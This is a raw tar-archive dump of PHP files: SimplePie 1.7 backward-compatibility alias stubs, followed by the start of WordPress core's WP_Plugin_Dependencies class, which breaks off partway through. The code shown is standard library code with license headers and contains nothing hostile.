library/SimplePie/Content/Type/Sniffer.php000064400000004662151024210710014540 0ustar00<?php

/**
 * SimplePie
 *
 * A PHP-Based RSS and Atom Feed Framework.
 * Takes the hard work out of managing a complete RSS/Atom solution.
 *
 * Copyright (c) 2004-2022, Ryan Parman, Sam Sneddon, Ryan McCue, and contributors
 * All rights reserved.
 *
 * Redistribution and use in source and binary forms, with or without modification, are
 * permitted provided that the following conditions are met:
 *
 * 	* Redistributions of source code must retain the above copyright notice, this list of
 * 	  conditions and the following disclaimer.
 *
 * 	* Redistributions in binary form must reproduce the above copyright notice, this list
 * 	  of conditions and the following disclaimer in the documentation and/or other materials
 * 	  provided with the distribution.
 *
 * 	* Neither the name of the SimplePie Team nor the names of its contributors may be used
 * 	  to endorse or promote products derived from this software without specific prior
 * 	  written permission.
 *
 * THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND ANY EXPRESS
 * OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY
 * AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDERS
 * AND CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR
 * CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR
 * SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
 * THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR
 * OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE
 * POSSIBILITY OF SUCH DAMAGE.
 *
 * @package SimplePie
 * @copyright 2004-2016 Ryan Parman, Sam Sneddon, Ryan McCue
 * @author Ryan Parman
 * @author Sam Sneddon
 * @author Ryan McCue
 * @link http://simplepie.org/ SimplePie
 * @license http://www.opensource.org/licenses/bsd-license.php BSD License
 */

use SimplePie\Content\Type\Sniffer;

class_exists('SimplePie\Content\Type\Sniffer');

// @trigger_error(sprintf('Using the "SimplePie_Content_Type_Sniffer" class is deprecated since SimplePie 1.7.0, use "SimplePie\Content\Type\Sniffer" instead.'), \E_USER_DEPRECATED);

if (\false) {
    /** @deprecated since SimplePie 1.7.0, use "SimplePie\Content\Type\Sniffer" instead */
    class SimplePie_Content_Type_Sniffer extends Sniffer
    {
    }
}
library/SimplePie/Copyright.php000064400000004562151024210710012560 0ustar00<?php

/**
 * SimplePie
 *
 * A PHP-Based RSS and Atom Feed Framework.
 * Takes the hard work out of managing a complete RSS/Atom solution.
 *
 * Copyright (c) 2004-2022, Ryan Parman, Sam Sneddon, Ryan McCue, and contributors
 * All rights reserved.
 *
 * Redistribution and use in source and binary forms, with or without modification, are
 * permitted provided that the following conditions are met:
 *
 * 	* Redistributions of source code must retain the above copyright notice, this list of
 * 	  conditions and the following disclaimer.
 *
 * 	* Redistributions in binary form must reproduce the above copyright notice, this list
 * 	  of conditions and the following disclaimer in the documentation and/or other materials
 * 	  provided with the distribution.
 *
 * 	* Neither the name of the SimplePie Team nor the names of its contributors may be used
 * 	  to endorse or promote products derived from this software without specific prior
 * 	  written permission.
 *
 * THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND ANY EXPRESS
 * OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY
 * AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDERS
 * AND CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR
 * CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR
 * SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
 * THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR
 * OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE
 * POSSIBILITY OF SUCH DAMAGE.
 *
 * @package SimplePie
 * @copyright 2004-2016 Ryan Parman, Sam Sneddon, Ryan McCue
 * @author Ryan Parman
 * @author Sam Sneddon
 * @author Ryan McCue
 * @link http://simplepie.org/ SimplePie
 * @license http://www.opensource.org/licenses/bsd-license.php BSD License
 */

use SimplePie\Copyright;

class_exists('SimplePie\Copyright');

// @trigger_error(sprintf('Using the "SimplePie_Copyright" class is deprecated since SimplePie 1.7.0, use "SimplePie\Copyright" instead.'), \E_USER_DEPRECATED);

if (\false) {
    /** @deprecated since SimplePie 1.7.0, use "SimplePie\Copyright" instead */
    class SimplePie_Copyright extends Copyright
    {
    }
}
library/SimplePie/Locator.php000064400000004544151024210710012213 0ustar00<?php

/**
 * SimplePie
 *
 * A PHP-Based RSS and Atom Feed Framework.
 * Takes the hard work out of managing a complete RSS/Atom solution.
 *
 * Copyright (c) 2004-2022, Ryan Parman, Sam Sneddon, Ryan McCue, and contributors
 * All rights reserved.
 *
 * Redistribution and use in source and binary forms, with or without modification, are
 * permitted provided that the following conditions are met:
 *
 * 	* Redistributions of source code must retain the above copyright notice, this list of
 * 	  conditions and the following disclaimer.
 *
 * 	* Redistributions in binary form must reproduce the above copyright notice, this list
 * 	  of conditions and the following disclaimer in the documentation and/or other materials
 * 	  provided with the distribution.
 *
 * 	* Neither the name of the SimplePie Team nor the names of its contributors may be used
 * 	  to endorse or promote products derived from this software without specific prior
 * 	  written permission.
 *
 * THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND ANY EXPRESS
 * OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY
 * AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDERS
 * AND CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR
 * CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR
 * SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
 * THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR
 * OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE
 * POSSIBILITY OF SUCH DAMAGE.
 *
 * @package SimplePie
 * @copyright 2004-2016 Ryan Parman, Sam Sneddon, Ryan McCue
 * @author Ryan Parman
 * @author Sam Sneddon
 * @author Ryan McCue
 * @link http://simplepie.org/ SimplePie
 * @license http://www.opensource.org/licenses/bsd-license.php BSD License
 */

use SimplePie\Locator;

class_exists('SimplePie\Locator');

// @trigger_error(sprintf('Using the "SimplePie_Locator" class is deprecated since SimplePie 1.7.0, use "SimplePie\Locator" instead.'), \E_USER_DEPRECATED);

if (\false) {
    /** @deprecated since SimplePie 1.7.0, use "SimplePie\Locator" instead */
    class SimplePie_Locator extends Locator
    {
    }
}
library/SimplePie/Item.php000064400000004517151024210710011506 0ustar00<?php

/**
 * SimplePie
 *
 * A PHP-Based RSS and Atom Feed Framework.
 * Takes the hard work out of managing a complete RSS/Atom solution.
 *
 * Copyright (c) 2004-2022, Ryan Parman, Sam Sneddon, Ryan McCue, and contributors
 * All rights reserved.
 *
 * Redistribution and use in source and binary forms, with or without modification, are
 * permitted provided that the following conditions are met:
 *
 * 	* Redistributions of source code must retain the above copyright notice, this list of
 * 	  conditions and the following disclaimer.
 *
 * 	* Redistributions in binary form must reproduce the above copyright notice, this list
 * 	  of conditions and the following disclaimer in the documentation and/or other materials
 * 	  provided with the distribution.
 *
 * 	* Neither the name of the SimplePie Team nor the names of its contributors may be used
 * 	  to endorse or promote products derived from this software without specific prior
 * 	  written permission.
 *
 * THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND ANY EXPRESS
 * OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY
 * AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDERS
 * AND CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR
 * CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR
 * SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
 * THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR
 * OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE
 * POSSIBILITY OF SUCH DAMAGE.
 *
 * @package SimplePie
 * @copyright 2004-2016 Ryan Parman, Sam Sneddon, Ryan McCue
 * @author Ryan Parman
 * @author Sam Sneddon
 * @author Ryan McCue
 * @link http://simplepie.org/ SimplePie
 * @license http://www.opensource.org/licenses/bsd-license.php BSD License
 */

use SimplePie\Item;

class_exists('SimplePie\Item');

// @trigger_error(sprintf('Using the "SimplePie_Item" class is deprecated since SimplePie 1.7.0, use "SimplePie\Item" instead.'), \E_USER_DEPRECATED);

if (\false) {
    /** @deprecated since SimplePie 1.7.0, use "SimplePie\Item" instead */
    class SimplePie_Item extends Item
    {
    }
}
library/SimplePie/Author.php000064400000004535151024210710012052 0ustar00<?php

/**
 * SimplePie
 *
 * A PHP-Based RSS and Atom Feed Framework.
 * Takes the hard work out of managing a complete RSS/Atom solution.
 *
 * Copyright (c) 2004-2022, Ryan Parman, Sam Sneddon, Ryan McCue, and contributors
 * All rights reserved.
 *
 * Redistribution and use in source and binary forms, with or without modification, are
 * permitted provided that the following conditions are met:
 *
 * 	* Redistributions of source code must retain the above copyright notice, this list of
 * 	  conditions and the following disclaimer.
 *
 * 	* Redistributions in binary form must reproduce the above copyright notice, this list
 * 	  of conditions and the following disclaimer in the documentation and/or other materials
 * 	  provided with the distribution.
 *
 * 	* Neither the name of the SimplePie Team nor the names of its contributors may be used
 * 	  to endorse or promote products derived from this software without specific prior
 * 	  written permission.
 *
 * THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND ANY EXPRESS
 * OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY
 * AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDERS
 * AND CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR
 * CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR
 * SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
 * THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR
 * OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE
 * POSSIBILITY OF SUCH DAMAGE.
 *
 * @package SimplePie
 * @copyright 2004-2016 Ryan Parman, Sam Sneddon, Ryan McCue
 * @author Ryan Parman
 * @author Sam Sneddon
 * @author Ryan McCue
 * @link http://simplepie.org/ SimplePie
 * @license http://www.opensource.org/licenses/bsd-license.php BSD License
 */

use SimplePie\Author;

class_exists('SimplePie\Author');

// @trigger_error(sprintf('Using the "SimplePie_Author" class is deprecated since SimplePie 1.7.0, use "SimplePie\Author" instead.'), \E_USER_DEPRECATED);

if (\false) {
    /** @deprecated since SimplePie 1.7.0, use "SimplePie\Author" instead */
    class SimplePie_Author extends Author
    {
    }
}
library/SimplePie/Caption.php000064400000004544151024210710012205 0ustar00<?php

/**
 * SimplePie
 *
 * A PHP-Based RSS and Atom Feed Framework.
 * Takes the hard work out of managing a complete RSS/Atom solution.
 *
 * Copyright (c) 2004-2022, Ryan Parman, Sam Sneddon, Ryan McCue, and contributors
 * All rights reserved.
 *
 * Redistribution and use in source and binary forms, with or without modification, are
 * permitted provided that the following conditions are met:
 *
 * 	* Redistributions of source code must retain the above copyright notice, this list of
 * 	  conditions and the following disclaimer.
 *
 * 	* Redistributions in binary form must reproduce the above copyright notice, this list
 * 	  of conditions and the following disclaimer in the documentation and/or other materials
 * 	  provided with the distribution.
 *
 * 	* Neither the name of the SimplePie Team nor the names of its contributors may be used
 * 	  to endorse or promote products derived from this software without specific prior
 * 	  written permission.
 *
 * THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND ANY EXPRESS
 * OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY
 * AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDERS
 * AND CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR
 * CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR
 * SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
 * THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR
 * OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE
 * POSSIBILITY OF SUCH DAMAGE.
 *
 * @package SimplePie
 * @copyright 2004-2016 Ryan Parman, Sam Sneddon, Ryan McCue
 * @author Ryan Parman
 * @author Sam Sneddon
 * @author Ryan McCue
 * @link http://simplepie.org/ SimplePie
 * @license http://www.opensource.org/licenses/bsd-license.php BSD License
 */

use SimplePie\Caption;

class_exists('SimplePie\Caption');

// @trigger_error(sprintf('Using the "SimplePie_Caption" class is deprecated since SimplePie 1.7.0, use "SimplePie\Caption" instead.'), \E_USER_DEPRECATED);

if (\false) {
    /** @deprecated since SimplePie 1.7.0, use "SimplePie\Caption" instead */
    class SimplePie_Caption extends Caption
    {
    }
}
library/SimplePie/Enclosure.php000064400000004562151024210710012547 0ustar00<?php

/**
 * SimplePie
 *
 * A PHP-Based RSS and Atom Feed Framework.
 * Takes the hard work out of managing a complete RSS/Atom solution.
 *
 * Copyright (c) 2004-2022, Ryan Parman, Sam Sneddon, Ryan McCue, and contributors
 * All rights reserved.
 *
 * Redistribution and use in source and binary forms, with or without modification, are
 * permitted provided that the following conditions are met:
 *
 * 	* Redistributions of source code must retain the above copyright notice, this list of
 * 	  conditions and the following disclaimer.
 *
 * 	* Redistributions in binary form must reproduce the above copyright notice, this list
 * 	  of conditions and the following disclaimer in the documentation and/or other materials
 * 	  provided with the distribution.
 *
 * 	* Neither the name of the SimplePie Team nor the names of its contributors may be used
 * 	  to endorse or promote products derived from this software without specific prior
 * 	  written permission.
 *
 * THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND ANY EXPRESS
 * OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY
 * AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDERS
 * AND CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR
 * CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR
 * SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
 * THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR
 * OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE
 * POSSIBILITY OF SUCH DAMAGE.
 *
 * @package SimplePie
 * @copyright 2004-2016 Ryan Parman, Sam Sneddon, Ryan McCue
 * @author Ryan Parman
 * @author Sam Sneddon
 * @author Ryan McCue
 * @link http://simplepie.org/ SimplePie
 * @license http://www.opensource.org/licenses/bsd-license.php BSD License
 */

use SimplePie\Enclosure;

class_exists('SimplePie\Enclosure');

// @trigger_error(sprintf('Using the "SimplePie_Enclosure" class is deprecated since SimplePie 1.7.0, use "SimplePie\Enclosure" instead.'), \E_USER_DEPRECATED);

if (\false) {
    /** @deprecated since SimplePie 1.7.0, use "SimplePie\Enclosure" instead */
    class SimplePie_Enclosure extends Enclosure
    {
    }
}
library/SimplePie/Misc.php000064400000004517151024210710011503 0ustar00<?php

/**
 * SimplePie
 *
 * A PHP-Based RSS and Atom Feed Framework.
 * Takes the hard work out of managing a complete RSS/Atom solution.
 *
 * Copyright (c) 2004-2022, Ryan Parman, Sam Sneddon, Ryan McCue, and contributors
 * All rights reserved.
 *
 * Redistribution and use in source and binary forms, with or without modification, are
 * permitted provided that the following conditions are met:
 *
 * 	* Redistributions of source code must retain the above copyright notice, this list of
 * 	  conditions and the following disclaimer.
 *
 * 	* Redistributions in binary form must reproduce the above copyright notice, this list
 * 	  of conditions and the following disclaimer in the documentation and/or other materials
 * 	  provided with the distribution.
 *
 * 	* Neither the name of the SimplePie Team nor the names of its contributors may be used
 * 	  to endorse or promote products derived from this software without specific prior
 * 	  written permission.
 *
 * THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND ANY EXPRESS
 * OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY
 * AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDERS
 * AND CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR
 * CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR
 * SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
 * THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR
 * OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE
 * POSSIBILITY OF SUCH DAMAGE.
 *
 * @package SimplePie
 * @copyright 2004-2016 Ryan Parman, Sam Sneddon, Ryan McCue
 * @author Ryan Parman
 * @author Sam Sneddon
 * @author Ryan McCue
 * @link http://simplepie.org/ SimplePie
 * @license http://www.opensource.org/licenses/bsd-license.php BSD License
 */

use SimplePie\Misc;

class_exists('SimplePie\Misc');

// @trigger_error(sprintf('Using the "SimplePie_Misc" class is deprecated since SimplePie 1.7.0, use "SimplePie\Misc" instead.'), \E_USER_DEPRECATED);

if (\false) {
    /** @deprecated since SimplePie 1.7.0, use "SimplePie\Misc" instead */
    class SimplePie_Misc extends Misc
    {
    }
}
library/SimplePie/Credit.php000064400000004535151024210710012022 0ustar00<?php

/**
 * SimplePie
 *
 * A PHP-Based RSS and Atom Feed Framework.
 * Takes the hard work out of managing a complete RSS/Atom solution.
 *
 * Copyright (c) 2004-2022, Ryan Parman, Sam Sneddon, Ryan McCue, and contributors
 * All rights reserved.
 *
 * Redistribution and use in source and binary forms, with or without modification, are
 * permitted provided that the following conditions are met:
 *
 * 	* Redistributions of source code must retain the above copyright notice, this list of
 * 	  conditions and the following disclaimer.
 *
 * 	* Redistributions in binary form must reproduce the above copyright notice, this list
 * 	  of conditions and the following disclaimer in the documentation and/or other materials
 * 	  provided with the distribution.
 *
 * 	* Neither the name of the SimplePie Team nor the names of its contributors may be used
 * 	  to endorse or promote products derived from this software without specific prior
 * 	  written permission.
 *
 * THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND ANY EXPRESS
 * OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY
 * AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDERS
 * AND CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR
 * CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR
 * SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
 * THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR
 * OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE
 * POSSIBILITY OF SUCH DAMAGE.
 *
 * @package SimplePie
 * @copyright 2004-2016 Ryan Parman, Sam Sneddon, Ryan McCue
 * @author Ryan Parman
 * @author Sam Sneddon
 * @author Ryan McCue
 * @link http://simplepie.org/ SimplePie
 * @license http://www.opensource.org/licenses/bsd-license.php BSD License
 */

use SimplePie\Credit;

class_exists('SimplePie\Credit');

// @trigger_error(sprintf('Using the "SimplePie_Credit" class is deprecated since SimplePie 1.7.0, use "SimplePie\Credit" instead.'), \E_USER_DEPRECATED);

if (\false) {
    /** @deprecated since SimplePie 1.7.0, use "SimplePie\Credit" instead */
    class SimplePie_Credit extends Credit
    {
    }
}
library/SimplePie/File.php000064400000004517151024210710011467 0ustar00<?php

/**
 * SimplePie
 *
 * A PHP-Based RSS and Atom Feed Framework.
 * Takes the hard work out of managing a complete RSS/Atom solution.
 *
 * Copyright (c) 2004-2022, Ryan Parman, Sam Sneddon, Ryan McCue, and contributors
 * All rights reserved.
 *
 * Redistribution and use in source and binary forms, with or without modification, are
 * permitted provided that the following conditions are met:
 *
 * 	* Redistributions of source code must retain the above copyright notice, this list of
 * 	  conditions and the following disclaimer.
 *
 * 	* Redistributions in binary form must reproduce the above copyright notice, this list
 * 	  of conditions and the following disclaimer in the documentation and/or other materials
 * 	  provided with the distribution.
 *
 * 	* Neither the name of the SimplePie Team nor the names of its contributors may be used
 * 	  to endorse or promote products derived from this software without specific prior
 * 	  written permission.
 *
 * THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND ANY EXPRESS
 * OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY
 * AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDERS
 * AND CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR
 * CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR
 * SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
 * THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR
 * OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE
 * POSSIBILITY OF SUCH DAMAGE.
 *
 * @package SimplePie
 * @copyright 2004-2016 Ryan Parman, Sam Sneddon, Ryan McCue
 * @author Ryan Parman
 * @author Sam Sneddon
 * @author Ryan McCue
 * @link http://simplepie.org/ SimplePie
 * @license http://www.opensource.org/licenses/bsd-license.php BSD License
 */

use SimplePie\File;

class_exists('SimplePie\File');

// @trigger_error(sprintf('Using the "SimplePie_File" class is deprecated since SimplePie 1.7.0, use "SimplePie\File" instead.'), \E_USER_DEPRECATED);

if (\false) {
    /** @deprecated since SimplePie 1.7.0, use "SimplePie\File" instead */
    class SimplePie_File extends File
    {
    }
}
14338/class-wp-plugin-dependencies.php.tar000064400000065000151024420100014163 0ustar00home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/class-wp-plugin-dependencies.php000064400000061343151024207000027534 0ustar00<?php
/**
 * WordPress Plugin Administration API: WP_Plugin_Dependencies class
 *
 * @package WordPress
 * @subpackage Administration
 * @since 6.5.0
 */

/**
 * Core class for installing plugin dependencies.
 *
 * It is designed to add plugin dependencies as designated in the
 * `Requires Plugins` header to a new view in the plugins install page.
 */
class WP_Plugin_Dependencies {

	/**
	 * Holds 'get_plugins()'.
	 *
	 * @since 6.5.0
	 *
	 * @var array
	 */
	protected static $plugins;

	/**
	 * Holds plugin directory names to compare with cache.
	 *
	 * @since 6.5.0
	 *
	 * @var array
	 */
	protected static $plugin_dirnames;

	/**
	 * Holds sanitized plugin dependency slugs.
	 *
	 * Keyed on the dependent plugin's filepath,
	 * relative to the plugins directory.
	 *
	 * @since 6.5.0
	 *
	 * @var array
	 */
	protected static $dependencies;

	/**
	 * Holds an array of sanitized plugin dependency slugs.
	 *
	 * @since 6.5.0
	 *
	 * @var array
	 */
	protected static $dependency_slugs;

	/**
	 * Holds an array of dependent plugin slugs.
	 *
	 * Keyed on the dependent plugin's filepath,
	 * relative to the plugins directory.
	 *
	 * @since 6.5.0
	 *
	 * @var array
	 */
	protected static $dependent_slugs;

	/**
	 * Holds 'plugins_api()' data for plugin dependencies.
	 *
	 * @since 6.5.0
	 *
	 * @var array
	 */
	protected static $dependency_api_data;

	/**
	 * Holds plugin dependency filepaths, relative to the plugins directory.
	 *
	 * Keyed on the dependency's slug.
	 *
	 * @since 6.5.0
	 *
	 * @var string[]
	 */
	protected static $dependency_filepaths;

	/**
	 * An array of circular dependency pairings.
	 *
	 * @since 6.5.0
	 *
	 * @var array[]
	 */
	protected static $circular_dependencies_pairs;

	/**
	 * An array of circular dependency slugs.
	 *
	 * @since 6.5.0
	 *
	 * @var string[]
	 */
	protected static $circular_dependencies_slugs;

	/**
	 * Whether Plugin Dependencies have been initialized.
	 *
	 * @since 6.5.0
	 *
	 * @var bool
	 */
	protected static $initialized = false;

	/**
	 * Initializes by fetching plugin header and plugin API data.
	 *
	 * @since 6.5.0
	 */
	public static function initialize() {
		if ( false === self::$initialized ) {
			self::read_dependencies_from_plugin_headers();
			self::get_dependency_api_data();
			self::$initialized = true;
		}
	}

	/**
	 * Determines whether the plugin has plugins that depend on it.
	 *
	 * @since 6.5.0
	 *
	 * @param string $plugin_file The plugin's filepath, relative to the plugins directory.
	 * @return bool Whether the plugin has plugins that depend on it.
	 */
	public static function has_dependents( $plugin_file ) {
		return in_array( self::convert_to_slug( $plugin_file ), (array) self::$dependency_slugs, true );
	}

	/**
	 * Determines whether the plugin has plugin dependencies.
	 *
	 * @since 6.5.0
	 *
	 * @param string $plugin_file The plugin's filepath, relative to the plugins directory.
	 * @return bool Whether a plugin has plugin dependencies.
	 */
	public static function has_dependencies( $plugin_file ) {
		return isset( self::$dependencies[ $plugin_file ] );
	}

	/**
	 * Determines whether the plugin has active dependents.
	 *
	 * @since 6.5.0
	 *
	 * @param string $plugin_file The plugin's filepath, relative to the plugins directory.
	 * @return bool Whether the plugin has active dependents.
	 */
	public static function has_active_dependents( $plugin_file ) {
		require_once ABSPATH . 'wp-admin/includes/plugin.php';

		$dependents = self::get_dependents( self::convert_to_slug( $plugin_file ) );
		foreach ( $dependents as $dependent ) {
			if ( is_plugin_active( $dependent ) ) {
				return true;
			}
		}

		return false;
	}

	/**
	 * Gets filepaths of plugins that require the dependency.
	 *
	 * @since 6.5.0
	 *
	 * @param string $slug The dependency's slug.
	 * @return array An array of dependent plugin filepaths, relative to the plugins directory.
	 */
	public static function get_dependents( $slug ) {
		$dependents = array();

		foreach ( (array) self::$dependencies as $dependent => $dependencies ) {
			if ( in_array( $slug, $dependencies, true ) ) {
				$dependents[] = $dependent;
			}
		}

		return $dependents;
	}

	/**
	 * Gets the slugs of plugins that the dependent requires.
	 *
	 * @since 6.5.0
	 *
	 * @param string $plugin_file The dependent plugin's filepath, relative to the plugins directory.
	 * @return array An array of dependency plugin slugs.
	 */
	public static function get_dependencies( $plugin_file ) {
		if ( isset( self::$dependencies[ $plugin_file ] ) ) {
			return self::$dependencies[ $plugin_file ];
		}

		return array();
	}

	/**
	 * Gets a dependent plugin's filepath.
	 *
	 * @since 6.5.0
	 *
	 * @param string $slug  The dependent plugin's slug.
	 * @return string|false The dependent plugin's filepath, relative to the plugins directory,
